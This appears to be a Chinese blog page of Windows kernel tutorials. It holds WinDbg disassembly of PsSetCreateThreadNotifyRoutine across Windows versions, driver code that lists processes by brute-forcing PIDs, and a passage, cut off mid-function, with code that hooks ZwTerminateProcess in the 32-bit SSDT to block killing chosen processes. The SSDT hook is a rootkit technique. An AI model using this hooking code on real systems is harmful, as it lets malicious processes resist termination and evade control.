nt!PsSetCreateThreadNotifyRoutine+0x25 (840f1dd0)nt!PsSetCreateThreadNotifyRoutine+0x42:840f1ded 53 push ebx840f1dee e818c5f9ff call nt!AlpcpFreeBuffer (8408e30b)840f1df3 b89a0000c0 mov eax,0C000009Ahnt!PsSetCreateThreadNotifyRoutine+0x4d:840f1df8 5e pop esint!PsSetCreateThreadNotifyRoutine+0x4e:840f1df9 5f pop edi840f1dfa 5b pop ebx840f1dfb 5d pop ebp840f1dfc c20400 ret 4nt!PsSetCreateThreadNotifyRoutine+0x54:840f1dff 33c9 xor ecx,ecx840f1e01 b8c032f583 mov eax,offset nt!PspCreateThreadNotifyRoutineCount (83f532c0)840f1e06 41 inc ecx840f1e07 f00fc108 lock xadd dword ptr [eax],ecx840f1e0b a19830f583 mov eax,dword ptr [nt!PspNotifyEnableMask (83f53098)]840f1e10 a808 test al,8840f1e12 750a jne nt!PsSetCreateThreadNotifyRoutine+0x73 (840f1e1e)nt!PsSetCreateThreadNotifyRoutine+0x69:840f1e14 b89830f583 mov eax,offset nt!PspNotifyEnableMask (83f53098)840f1e19 f00fba2803 lock bts dword ptr [eax],3nt!PsSetCreateThreadNotifyRoutine+0x73:840f1e1e 33c0 xor eax,eax840f1e20 ebd6 jmp nt!PsSetCreateThreadNotifyRoutine+0x4d (840f1df8)
    Win7 64 位 PsSetCreateThreadNotifyRoutinelkd> uf PsSetCreateThreadNotifyRoutinent!PsSetCreateThreadNotifyRoutine:fffff800`0428dbe0 48895c2408 mov qword ptr [rsp+8],rbxfffff800`0428dbe5 57 push rdifffff800`0428dbe6 4883ec20 sub rsp,20hfffff800`0428dbea 33d2 xor edx,edxfffff800`0428dbec e86faffeff call nt!ExAllocateCallBack (fffff800`04278b60)fffff800`0428dbf1 488bf8 mov rdi,raxfffff800`0428dbf4 4885c0 test rax,raxfffff800`0428dbf7 7507 jne nt!PsSetCreateThreadNotifyRoutine+0x20 (fffff800`0428dc00)nt!PsSetCreateThreadNotifyRoutine+0x19:fffff800`0428dbf9 b89a0000c0 mov eax,0C000009Ahfffff800`0428dbfe eb4a jmp nt!PsSetCreateThreadNotifyRoutine+0x6a (fffff800`0428dc4a)nt!PsSetCreateThreadNotifyRoutine+0x20:fffff800`0428dc00 33db xor ebx,ebxnt!PsSetCreateThreadNotifyRoutine+0x22:fffff800`0428dc02 488d0d5799d9ff lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff800`04027560)]fffff800`0428dc09 4533c0 xor r8d,r8dfffff800`0428dc0c 488bd7 mov rdx,rdifffff800`0428dc0f 488d0cd9 lea rcx,[rcx+rbx*8]fffff800`0428dc13 e83814f8ff call nt!ExCompareExchangeCallBack (fffff800`0420f050)fffff800`0428dc18 84c0 test al,alfffff800`0428dc1a 7511 jne nt!PsSetCreateThreadNotifyRoutine+0x4d (fffff800`0428dc2d)nt!PsSetCreateThreadNotifyRoutine+0x3c:fffff800`0428dc1c ffc3 inc ebxfffff800`0428dc1e 83fb40 cmp ebx,40hfffff800`0428dc21 72df jb nt!PsSetCreateThreadNotifyRoutine+0x22 (fffff800`0428dc02)nt!PsSetCreateThreadNotifyRoutine+0x43:fffff800`0428dc23 488bcf mov rcx,rdifffff800`0428dc26 e825defeff call nt!IopDeallocateApc (fffff800`0427ba50)fffff800`0428dc2b ebcc jmp nt!PsSetCreateThreadNotifyRoutine+0x19 (fffff800`0428dbf9)nt!PsSetCreateThreadNotifyRoutine+0x4d:fffff800`0428dc2d f083052b9bd9ff01 lock add dword ptr [nt!PspCreateThreadNotifyRoutineCount (fffff800`04027760)],1fffff800`0428dc35 8b05a598d9ff mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`040274e0)]fffff800`0428dc3b a808 test al,8fffff800`0428dc3d 7509 jne nt!PsSetCreateThreadNotifyRoutine+0x68 (fffff800`0428dc48)nt!PsSetCreateThreadNotifyRoutine+0x5f:fffff800`0428dc3f f00fba2d9898d9ff03 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`040274e0)],3nt!PsSetCreateThreadNotifyRoutine+0x68:fffff800`0428dc48 33c0 xor eax,eaxnt!PsSetCreateThreadNotifyRoutine+0x6a:fffff800`0428dc4a 488b5c2430 mov rbx,qword ptr [rsp+30h]fffff800`0428dc4f 4883c420 add rsp,20hfffff800`0428dc53 5f pop rdifffff800`0428dc54 c3 ret
    Win8.1 32 位 PsSetCreateThreadNotifyRoutinelkd> uf PsSetCreateThreadNotifyRoutine nt!PsSetCreateThreadNotifyRoutine:8116e538 8bff mov edi,edi8116e53a 55 push ebp8116e53b 8bec mov ebp,esp8116e53d 8b4d08 mov ecx,dword ptr [ebp+8]8116e540 33d2 xor edx,edx8116e542 56 push esi8116e543 e80a040000 call nt!ExAllocateCallBack (8116e952)8116e548 8bf0 mov esi,eax8116e54a 85f6 test esi,esi8116e54c 7444 je nt!PsSetCreateThreadNotifyRoutine+0x5a (8116e592)nt!PsSetCreateThreadNotifyRoutine+0x16:8116e54e 53 push ebx8116e54f 57 push edi8116e550 bbc8640181 mov ebx,offset nt!PspCreateThreadNotifyRoutine (810164c8)8116e555 33ff xor edi,edint!PsSetCreateThreadNotifyRoutine+0x1f:8116e557 6a00 push 08116e559 8bd6 mov edx,esi8116e55b 8bcb mov ecx,ebx8116e55d e8f627d9ff call nt!ExCompareExchangeCallBack (80f00d58)8116e562 84c0 test al,al8116e564 0f84ff030a00 je nt! ?? ::NNGAKEGL::`string'+0x702ff (8120e969)nt!PsSetCreateThreadNotifyRoutine+0x32:8116e56a 33c0 xor eax,eax8116e56c b94c6c2f81 mov ecx,offset nt!PspCreateThreadNotifyRoutineCount (812f6c4c)8116e571 40 inc eax8116e572 f00fc101 lock xadd dword ptr [ecx],eax8116e576 a1446c2f81 mov eax,dword ptr [nt!PspNotifyEnableMask (812f6c44)]8116e57b a808 test al,88116e57d 750a jne nt!PsSetCreateThreadNotifyRoutine+0x51 (8116e589)nt!PsSetCreateThreadNotifyRoutine+0x47:8116e57f b8446c2f81 mov eax,offset nt!PspNotifyEnableMask (812f6c44)8116e584 f00fba2803 lock bts dword ptr [eax],3nt!PsSetCreateThreadNotifyRoutine+0x51:8116e589 33c0 xor eax,eaxnt!PsSetCreateThreadNotifyRoutine+0x53:8116e58b 5f pop edi8116e58c 5b pop ebxnt!PsSetCreateThreadNotifyRoutine+0x55:8116e58d 5e pop esi8116e58e 5d pop ebp8116e58f c20400 ret 4nt!PsSetCreateThreadNotifyRoutine+0x5a:8116e592 b89a0000c0 mov eax,0C000009Ah8116e597 ebf4 jmp nt!PsSetCreateThreadNotifyRoutine+0x55 (8116e58d)nt! ?? ::NNGAKEGL::`string'+0x702ff:8120e969 83c704 add edi,48120e96c 83c304 add ebx,48120e96f 81ff00010000 cmp edi,100h8120e975 0f82dcfbf5ff jb nt!PsSetCreateThreadNotifyRoutine+0x1f (8116e557)nt! ?? ::NNGAKEGL::`string'+0x70311:8120e97b 8bce mov ecx,esi8120e97d e800fce8ff call nt!ExFreeCallBack (8109e582)8120e982 b89a0000c0 mov eax,0C000009Ah8120e987 e9fffbf5ff jmp nt!PsSetCreateThreadNotifyRoutine+0x53 (8116e58b)
    Win8.1 64 位 PsSetCreateThreadNotifyRoutinelkd> uf PsSetCreateThreadNotifyRoutineFlow analysis was incomplete, some code may be missingnt!PsSetCreateThreadNotifyRoutine:fffff803`107a0cf4 48895c2408 mov qword ptr [rsp+8],rbxfffff803`107a0cf9 57 push rdifffff803`107a0cfa 4883ec20 sub rsp,20hfffff803`107a0cfe 33d2 xor edx,edxfffff803`107a0d00 e8ab4ffdff call nt!ExAllocateCallBack (fffff803`10775cb0)fffff803`107a0d05 488bf8 mov rdi,raxfffff803`107a0d08 4885c0 test rax,raxfffff803`107a0d0b 0f8423560900 je nt! ?? ::NNGAKEGL::`string'+0x87734 (fffff803`10836334)nt!PsSetCreateThreadNotifyRoutine+0x1d:fffff803`107a0d11 33db xor ebx,ebxnt!PsSetCreateThreadNotifyRoutine+0x1f:fffff803`107a0d13 488d0de6fedbff lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff803`10560c00)]fffff803`107a0d1a 4533c0 xor r8d,r8dfffff803`107a0d1d 488bd7 mov rdx,rdifffff803`107a0d20 488d0cd9 lea rcx,[rcx+rbx*8]fffff803`107a0d24 e87707c1ff call nt!ExCompareExchangeCallBack (fffff803`103b14a0)fffff803`107a0d29 84c0 test al,alfffff803`107a0d2b 7427 je nt!PsSetCreateThreadNotifyRoutine+0x60 (fffff803`107a0d54)nt!PsSetCreateThreadNotifyRoutine+0x39:fffff803`107a0d2d f0ff051ca91800 lock inc dword ptr [nt!PspCreateThreadNotifyRoutineCount (fffff803`1092b650)]fffff803`107a0d34 8b05e2a31800 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff803`1092b11c)]fffff803`107a0d3a a808 test al,8fffff803`107a0d3c 7509 jne nt!PsSetCreateThreadNotifyRoutine+0x53 (fffff803`107a0d47)nt!PsSetCreateThreadNotifyRoutine+0x4a:fffff803`107a0d3e f00fba2dd5a3180003 lock bts dword ptr [nt!PspNotifyEnableMask (fffff803`1092b11c)],3nt!PsSetCreateThreadNotifyRoutine+0x53:fffff803`107a0d47 33c0 xor eax,eaxfffff803`107a0d49 488b5c2430 mov rbx,qword ptr [rsp+30h]fffff803`107a0d4e 4883c420 add rsp,20hfffff803`107a0d52 5f pop rdifffff803`107a0d53 c3 retnt!PsSetCreateThreadNotifyRoutine+0x60:fffff803`107a0d54 ffc3 inc ebxfffff803`107a0d56 83fb40 cmp ebx,40hfffff803`107a0d59 72b8 jb nt!PsSetCreateThreadNotifyRoutine+0x1f (fffff803`107a0d13)nt!PsSetCreateThreadNotifyRoutine+0x67:fffff803`107a0d5b e9ca550900 jmp nt! ?? ::NNGAKEGL::`string'+0x8772a (fffff803`1083632a)
    Win10 32 位 PsSetCreateThreadNotifyRoutinekd> uf PsSetCreateThreadNotifyRoutinent!PsSetCreateThreadNotifyRoutine:81e1c7ce 8bff mov edi,edi81e1c7d0 55 push ebp81e1c7d1 8bec mov ebp,esp81e1c7d3 8b4d08 mov ecx,dword ptr [ebp+8]81e1c7d6 32d2 xor dl,dl81e1c7d8 e813010000 call nt!PspSetCreateThreadNotifyRoutine (81e1c8f0)81e1c7dd 5d pop ebp81e1c7de c20400 ret 4kd> uf PspSetCreateThreadNotifyRoutinent!PspSetCreateThreadNotifyRoutine:81e1c8f0 8bff mov edi,edi81e1c8f2 55 push ebp81e1c8f3 8bec mov ebp,esp81e1c8f5 51 push ecx81e1c8f6 8ac2 mov al,dl81e1c8f8 33d2 xor edx,edx81e1c8fa 84c0 test al,al81e1c8fc 8845ff mov byte ptr [ebp-1],al81e1c8ff 53 push ebx81e1c900 0f95c2 setne dl81e1c903 e8b8010000 call nt!ExAllocateCallBack (81e1cac0)81e1c908 8bd8 mov ebx,eax81e1c90a 85db test ebx,ebx81e1c90c 745a je nt!PspSetCreateThreadNotifyRoutine+0x78 (81e1c968)nt!PspSetCreateThreadNotifyRoutine+0x1e:81e1c90e 56 push esi81e1c90f 57 push edi81e1c910 bf30dbcb81 mov edi,offset nt!PspCreateThreadNotifyRoutine (81cbdb30)81e1c915 33f6 xor esi,esint!PspSetCreateThreadNotifyRoutine+0x27:81e1c917 6a00 push 081e1c919 8bd3 mov edx,ebx81e1c91b 8bcf mov ecx,edi81e1c91d e8b21ed6ff call nt!ExCompareExchangeCallBack (81b7e7d4)81e1c922 84c0 test al,al81e1c924 7513 jne nt!PspSetCreateThreadNotifyRoutine+0x49 (81e1c939)nt!PspSetCreateThreadNotifyRoutine+0x36:81e1c926 83c604 add esi,481e1c929 83c704 add edi,481e1c92c 81fe00010000 cmp esi,100h81e1c932 72e3 jb nt!PspSetCreateThreadNotifyRoutine+0x27 (81e1c917)nt!PspSetCreateThreadNotifyRoutine+0x44:81e1c934 e9671c0a00 jmp nt! ?? ::NNGAKEGL::`string'+0x69b94 (81ebe5a0)nt!PspSetCreateThreadNotifyRoutine+0x49:81e1c939 807dff00 cmp byte ptr [ebp-1],081e1c93d 0f856f1c0a00 jne nt! ?? ::NNGAKEGL::`string'+0x69ba6 (81ebe5b2)nt!PspSetCreateThreadNotifyRoutine+0x53:81e1c943 f0ff05d0bdff81 lock inc dword ptr [nt!PspCreateThreadNotifyRoutineCount (81ffbdd0)]81e1c94a a1c4bdff81 mov eax,dword ptr [nt!PspNotifyEnableMask (81ffbdc4)]81e1c94f a808 test al,881e1c951 7409 je nt!PspSetCreateThreadNotifyRoutine+0x6c (81e1c95c)nt!PspSetCreateThreadNotifyRoutine+0x63:81e1c953 33c0 xor eax,eaxnt!PspSetCreateThreadNotifyRoutine+0x65:81e1c955 5f pop edi81e1c956 5e pop esint!PspSetCreateThreadNotifyRoutine+0x67:81e1c957 5b pop ebx81e1c958 8be5 mov esp,ebp81e1c95a 5d pop ebp81e1c95b c3 retnt!PspSetCreateThreadNotifyRoutine+0x6c:81e1c95c b8c4bdff81 mov eax,offset nt!PspNotifyEnableMask (81ffbdc4)81e1c961 f00fba2803 lock bts dword ptr [eax],381e1c966 ebeb jmp nt!PspSetCreateThreadNotifyRoutine+0x63 (81e1c953)nt!PspSetCreateThreadNotifyRoutine+0x78:81e1c968 b89a0000c0 mov eax,0C000009Ah81e1c96d ebe8 jmp nt!PspSetCreateThreadNotifyRoutine+0x67 (81e1c957)nt! ?? ::NNGAKEGL::`string'+0x69b94:81ebe5a0 6a00 push 081ebe5a2 53 push ebx81ebe5a3 e8783addff call nt!ExFreePoolWithTag (81c92020)81ebe5a8 b89a0000c0 mov eax,0C000009Ah81ebe5ad e9a3e3f5ff jmp nt!PspSetCreateThreadNotifyRoutine+0x65 (81e1c955)nt! ?? ::NNGAKEGL::`string'+0x69ba6:81ebe5b2 f0ff05ccbdff81 lock inc dword ptr [nt!PspCreateThreadNotifyRoutineExCount (81ffbdcc)]81ebe5b9 a1c4bdff81 mov eax,dword ptr [nt!PspNotifyEnableMask (81ffbdc4)]81ebe5be a810 test al,10h81ebe5c0 0f858de3f5ff jne nt!PspSetCreateThreadNotifyRoutine+0x63 (81e1c953)nt! ?? ::NNGAKEGL::`string'+0x69bba:81ebe5c6 b8c4bdff81 mov eax,offset nt!PspNotifyEnableMask (81ffbdc4)81ebe5cb f00fba2804 lock bts dword ptr [eax],481ebe5d0 e97ee3f5ff jmp nt!PspSetCreateThreadNotifyRoutine+0x63 (81e1c953)
    Win10 64 位 PsSetCreateThreadNotifyRoutinekd> uf PsSetCreateThreadNotifyRoutinent!PsSetCreateThreadNotifyRoutine:fffff800`a09a42cc 33d2 xor edx,edxfffff800`a09a42ce e905010000 jmp nt!PspSetCreateThreadNotifyRoutine (fffff800`a09a43d8)nt!PspSetCreateThreadNotifyRoutine:fffff800`a09a43d8 48895c2408 mov qword ptr [rsp+8],rbxfffff800`a09a43dd 4889742410 mov qword ptr [rsp+10h],rsifffff800`a09a43e2 57 push rdifffff800`a09a43e3 4883ec20 sub rsp,20hfffff800`a09a43e7 408af2 mov sil,dlfffff800`a09a43ea 33d2 xor edx,edxfffff800`a09a43ec 4084f6 test sil,silfffff800`a09a43ef 0f95c2 setne dlfffff800`a09a43f2 e819020000 call nt!ExAllocateCallBack (fffff800`a09a4610)fffff800`a09a43f7 488bf8 mov rdi,raxfffff800`a09a43fa 4885c0 test rax,raxfffff800`a09a43fd 0f846b780900 je nt! ?? ::NNGAKEGL::`string'+0x674de (fffff800`a0a3bc6e)nt!PspSetCreateThreadNotifyRoutine+0x2b:fffff800`a09a4403 33db xor ebx,ebxnt!PspSetCreateThreadNotifyRoutine+0x2d:fffff800`a09a4405 488d0d740bdfff lea rcx,[nt!PspCreateThreadNotifyRoutine (fffff800`a0794f80)]fffff800`a09a440c 4533c0 xor r8d,r8dfffff800`a09a440f 488d0cd9 lea rcx,[rcx+rbx*8]fffff800`a09a4413 488bd7 mov rdx,rdifffff800`a09a4416 e875ebbfff call nt!ExCompareExchangeCallBack (fffff800`a05a2f90)fffff800`a09a441b 84c0 test al,alfffff800`a09a441d 7435 je nt!PspSetCreateThreadNotifyRoutine+0x7c (fffff800`a09a4454)nt!PspSetCreateThreadNotifyRoutine+0x47:fffff800`a09a441f 4084f6 test sil,silfffff800`a09a4422 0f8550780900 jne nt! ?? ::NNGAKEGL::`string'+0x674e8 (fffff800`a0a3bc78)nt!PspSetCreateThreadNotifyRoutine+0x50:fffff800`a09a4428 f0ff05a5491d00 lock inc dword ptr [nt!PspCreateThreadNotifyRoutineCount (fffff800`a0b78dd4)]fffff800`a09a442f 8b0503461d00 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)]fffff800`a09a4435 a808 test al,8fffff800`a09a4437 7509 jne nt!PspSetCreateThreadNotifyRoutine+0x6a (fffff800`a09a4442)nt!PspSetCreateThreadNotifyRoutine+0x61:fffff800`a09a4439 f00fba2df6451d0003 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)],3nt!PspSetCreateThreadNotifyRoutine+0x6a:fffff800`a09a4442 33c0 xor eax,eaxnt!PspSetCreateThreadNotifyRoutine+0x6c:fffff800`a09a4444 488b5c2430 mov rbx,qword ptr [rsp+30h]fffff800`a09a4449 488b742438 mov rsi,qword ptr [rsp+38h]fffff800`a09a444e 4883c420 add rsp,20hfffff800`a09a4452 5f pop rdifffff800`a09a4453 c3 retnt!PspSetCreateThreadNotifyRoutine+0x7c:fffff800`a09a4454 ffc3 inc ebxfffff800`a09a4456 83fb40 cmp ebx,40hfffff800`a09a4459 72aa jb nt!PspSetCreateThreadNotifyRoutine+0x2d (fffff800`a09a4405)nt!PspSetCreateThreadNotifyRoutine+0x83:fffff800`a09a445b e904780900 jmp nt! ?? ::NNGAKEGL::`string'+0x674d4 (fffff800`a0a3bc64)nt! ?? ::NNGAKEGL::`string'+0x674d4:fffff800`a0a3bc64 33d2 xor edx,edxfffff800`a0a3bc66 488bcf mov rcx,rdifffff800`a0a3bc69 e89223c7ff call nt!ExFreePoolWithTag (fffff800`a06ae000)nt! ?? ::NNGAKEGL::`string'+0x674de:fffff800`a0a3bc6e b89a0000c0 mov eax,0C000009Ahfffff800`a0a3bc73 e9cc87f6ff jmp nt!PspSetCreateThreadNotifyRoutine+0x6c (fffff800`a09a4444)nt! ?? ::NNGAKEGL::`string'+0x674e8:fffff800`a0a3bc78 f0ff0551d11300 lock inc dword ptr [nt!PspCreateThreadNotifyRoutineExCount (fffff800`a0b78dd0)]fffff800`a0a3bc7f 8b05b3cd1300 mov eax,dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)]fffff800`a0a3bc85 a810 test al,10hfffff800`a0a3bc87 0f85b587f6ff jne nt!PspSetCreateThreadNotifyRoutine+0x6a (fffff800`a09a4442)nt! ?? ::NNGAKEGL::`string'+0x674fd:fffff800`a0a3bc8d f00fba2da2cd130004 lock bts dword ptr [nt!PspNotifyEnableMask (fffff800`a0b78a38)],4fffff800`a0a3bc96 e9a787f6ff jmp nt!PspSetCreateThreadNotifyRoutine+0x6a (fffff800`a09a4442)
    1  留言 2019-03-12 09:40:41
  • 通过暴力搜索PID遍历进程并获取进程信息

    背景通常我们在内核中使用 ZwQuerySystemInformation 函数来遍历进程模块并获取进程信息,这种是通过正常的进程遍历方式,所以,有很多 Rootkit 程序会 HOOK 这个 ZwQuerySystemInformation 函数,过滤指定进程,从而实现进程的隐藏。
    本文实现的进程遍历和获取进程信息并不打算使用 ZwQuerySystemInformation 这种方式,而是直接暴力搜索进程的 PID,根据有效的 PID 获取相应进程的信息,从而实现进程的遍历。现在,我就来讲解具体的实现过程和原理,这个程序支持 32 位和 64 位 Win 7 至 Win10 全平台。
    函数介绍PsLookupProcessByProcessId 函数
    PsLookupProcessByProcessId例程接受进程的进程ID,并返回引用的指向EPROCESS结构的进程。
    函数声明
    NTSTATUS PsLookupProcessByProcessId( _In_ HANDLE ProcessId, _Out_ PEPROCESS *Process);
    参数

    ProcessId [in]指定进程的进程ID。Process[out]返回指向ProcessId指定的进程的EPROCESS结构的引用指针。
    返回值

    PsLookupProcessByProcessId在成功时返回STATUS_SUCCESS或适当的NTSTATUS值,例如:STATUS_INVALID_PARAMETER,表示进程 ID 无效。
    备注

    如果对 PsLookupProcessByProcessId 的调用成功,PsLookupProcessByProcessId 会增加Process参数中返回的对象的引用计数。因此,当驱动程序完成使用 Process 参数时,驱动程序必须调用 ObDereferenceObject 来取消引用从 PsLookupProcessByProcessId 例程接收的Process参数。

    IoQueryFileDosDeviceName 函数
    获取文件的 Dos 设备名称。
    NTSTATUS IoQueryFileDosDeviceName( _In_ PFILE_OBJECT FileObject, _Out_ POBJECT_NAME_INFORMATION *ObjectNameInformation);
    参数

    FileObject [in]指向文件的文件对象。ObjectNameInformation [out]返回指向新分配的OBJECT_NAME_INFORMATION结构的指针。 这个结构用MS-DOS设备名称信息成功返回填写。 结构定义如下:

    typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name;} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;// 注意:最终通过调用 ExFreePool 来释放此结构。

    返回值

    成功,则返回STATUS_SUCCESS;否则错误。

    实现原理暴力搜索 PID 这个不难理解,即 PID 从 4 开始,步长为 4,一直遍历到 0x1000,因为进程的 PID 总是为 4 的倍数,所以,我们设置遍历的步长为 4。
    然后,我们根据 PID,调用 PsLookupProcessByProcessId 函数获取 EPROCESS 进程结构体,因为 EPROCESS 这个结构体里存储着进程所有的信息,我们可以从这个 EPROCESS 结构体中获取我们想要的信息,例如进程的父进程、进程名、路径、进程双链表链等等。调用完 PsLookupProcessByProcessId 获取 EPROCESS 之后,记得调用 ObDereferenceObject 来释放对象。
    在不同的系统版本中,EPROCESS 这个结构体定义也不相同,所以不建议使用固定的偏移地址来获取进程信息,而应该使用提供的 API 函数从 EPROCESS 结构体中获取。例如:

    获取进程 PID,可以使用 PsGetProcessId 函数。
    获取进程的父进程 PID,可以使用PsGetProcessInheritedFromUniqueProcessId 函数。
    获取进程名称,可以使用 PsGetProcessImageFileName 函数。
    获取进程路径,可以先试用 PsReferenceProcessFilePointer 函数获取文件指针对象,然后再调用 IoQueryFileDosDeviceName 获取 Dos 路径,最后还要记得使用 ObDereferenceObject 函数来释放对象。

    编码实现进程遍历// 遍历进程NTSTATUS EnumProcess(){ NTSTATUS status = STATUS_SUCCESS; ULONG i = 0; PEPROCESS pEProcess = NULL; // 开始遍历 for (i = 4; i < 0x10000; i = i + 4) { status = PsLookupProcessByProcessId((HANDLE)i, &pEProcess); if (NT_SUCCESS(status)) { // 从进程结构中获取进程信息 GetProcessInfo(pEProcess); ObDereferenceObject(pEProcess); } } return status;}
    从进程结构中获取进程信息// 从进程结构中获取进程信息VOID GetProcessInfo(PEPROCESS pEProcess){ NTSTATUS status = STATUS_SUCCESS; HANDLE hParentProcessId = NULL, hProcessId = NULL; PCHAR pszProcessName = NULL; PVOID pFilePoint = NULL; POBJECT_NAME_INFORMATION pObjectNameInfo = NULL; // 获取父进程 PID hParentProcessId = PsGetProcessInheritedFromUniqueProcessId(pEProcess); // 获取进程 PID hProcessId = PsGetProcessId(pEProcess); // 获取进程名称 pszProcessName = PsGetProcessImageFileName(pEProcess); // 获取进程程序路径 status = PsReferenceProcessFilePointer(pEProcess, &pFilePoint); if (NT_SUCCESS(status)) { status = IoQueryFileDosDeviceName(pFilePoint, &pObjectNameInfo); if (NT_SUCCESS(status)) { // 显示 DbgPrint("PEPROCESS=0x%p, PPID=%d, PID=%d, NAME=%s, PATH=%ws\n", pEProcess, hParentProcessId, hProcessId, pszProcessName, pObjectNameInfo->Name.Buffer); } ObDereferenceObject(pFilePoint); } }
    程序测试在 Win7 32 位下,驱动程序正常运行:

    在 Win10 64 位下,驱动程序正常运行:

    总结这个程序不难理解,关键是要注意 EPROCESS 这个函数包含了几乎进程所有的信息,本文只用到了它其中的一小部分。建议大家私下可以使用 WinDbg 查看下系统中 EPROCESS 的定义,同时观察它具体有哪些信息,不同平台系统之间的区别,以此来加深对 EPROCESS 的印象。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-03-05 22:59:04
  • SSDT Hook 之内核函数ZwTerminateProcess实现监控结束进程

    背景我们要开始向大家演示 SSDT HOOK 的使用方式,帮助我们的程序实现隐藏或是监控等工作。我们之前也一直提到过,在 32 位系统上,要想实现隐藏或是监控的操作,大多数操作就是对 SSDT 函数各种 HOOK,可以是 SSDT HOOK,也可以是 Inline HOOK。但,这些通过对 SSDT 表内存修改而实现的操作,在 64 位系统上不再适用,因为 64 位系统的 Patch Guard 保护机制,把 SSDT 的内存作为重点保护对象,只要对 SSDT 的内存进行修改,都会触发 Patch Guard,从而导致系统蓝屏。所以,这种 SSDT HOOK 的操作,能正常在 32 位系统上使用。在 64 位上,会导致蓝屏。当然,如果你能使用其它方法突破 64 位的 Patch Guard 保护的话,SSDT 还是仍然可以使用的。
    本文主要介绍在 32 位系统上,使用 SSDT Hook ZwTerminateProcess 内核函数实现监控结束进程。现在,我就把实现过程和原理,整理成文档,分享给大家。
    实现过程在 32 位系统下,SSDT 是导出的,所以可以直接获取 KeServiceDescriptorTable。然后,我们根据 ntdll.dll 获取 ZwTerminateProcess 函数的 SSDT 函数索引号。有了这个 SSDT 索引号,我们就可以根据 KeServiceDescriptorTable 获取函数 ZwTerminateProcess 在内核中的地址了。
    那么,SSDT HOOK 的原理就是:将 SSDT 表中存储的 ZwTerminateProcess 函数地址修改成新的函数的地址,这样,当系统从 SSDT 获取 ZwTerminateProcess 函数地址的时候,获取到的就是指向我们新函数的地址,从而执行我们的新函数。
    其中,SSDT 表的内存是有 Write Protect 写保护属性,所以,我们采用 MDL 方式来修改 SSDT 表的内存,写入我们的新函数地址。
    那么,在新的 New_ZwTerminateProcess 函数中的操作就是:
    通过参数判断是否是我们保护的进程,若不是,则调用原来的内核函数 ZwTerminateProcess 结束进程;若是,则直接返回,不操作。
    这样,就可以实现监控结束进程了。
    编码实现Hook// SSDT HookBOOLEAN SSDTHook(){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PMDL pMdl = NULL; PVOID pNewAddress = NULL; ULONG ulNewFuncAddr = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwTerminateProcess"); // 根据索引号, 从SSDT表中获取对应函数地址 g_pOldSSDTFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex]; if (NULL == g_pOldSSDTFunctionAddress) { DbgPrint("Get SSDT Function Error!\n"); return FALSE; } // 使用 MDL 方式修改 SSDT pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG)); if (NULL == pMdl) { DbgPrint("MmCreateMdl Error!\n"); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); pNewAddress = MmMapLockedPages(pMdl, KernelMode); if (NULL == pNewAddress) { IoFreeMdl(pMdl); DbgPrint("MmMapLockedPages Error!\n"); return FALSE; } // 写入新函数地址 ulNewFuncAddr = (ULONG)New_ZwTerminateProcess; RtlCopyMemory(pNewAddress, &ulNewFuncAddr, sizeof(ULONG)); // 释放 MmUnmapLockedPages(pNewAddress, pMdl); IoFreeMdl(pMdl); return TRUE;}
    Unhook// SSDT UnhookBOOLEAN SSDTUnhook(){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pSSDTFunctionAddress = NULL; PMDL pMdl = NULL; PVOID pNewAddress = NULL; ULONG ulOldFuncAddr = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, "ZwTerminateProcess"); // 使用 MDL 方式修改 SSDT pMdl = MmCreateMdl(NULL, &KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex], sizeof(ULONG)); if (NULL == pMdl) { DbgPrint("MmCreateMdl Error!\n"); return FALSE; } MmBuildMdlForNonPagedPool(pMdl); pNewAddress = MmMapLockedPages(pMdl, KernelMode); if (NULL == pNewAddress) { IoFreeMdl(pMdl); DbgPrint("MmMapLockedPages Error!\n"); return FALSE; } // 写入原函数地址 ulOldFuncAddr = (ULONG)g_pOldSSDTFunctionAddress; RtlCopyMemory(pNewAddress, &ulOldFuncAddr, sizeof(ULONG)); // 释放 MmUnmapLockedPages(pNewAddress, pMdl); IoFreeMdl(pMdl); return TRUE;}
    新函数// 新函数NTSTATUS New_ZwTerminateProcess(HANDLE hProcess, NTSTATUS ntExitCode){ NTSTATUS status = STATUS_SUCCESS; PEPROCESS pEProcess = NULL; PCHAR lpProcessName = NULL; if ((HANDLE)0xFFFFFFFF == hProcess || (HANDLE)0x0 == hProcess) { // 返回无效句柄 return STATUS_INVALID_HANDLE; } // 通过进程句柄来获取该进程所对应的FileObject对象,由于这里是进程对象,自然获得的是EPROCESS对象 status = ObReferenceObjectByHandle(hProcess, FILE_READ_DATA, NULL, KernelMode, &pEProcess, NULL); if (NT_SUCCESS(status)) { // 获取进程名称 lpProcessName = PsGetProcessImageFileName(pEProcess); DbgPrint("Terminate Process:%s\n", lpProcessName); // 保护进程 if (NULL != strstr(lpProcessName, "520")) { DbgPrint("[Deny Terminate Process:%s]\n", lpProcessName); return STATUS_ACCESS_DENIED; } } // 调用原函数, 结束进程 typedef NTSTATUS (*typedef_ZwTerminateProcess)(HANDLE, NTSTATUS); status = 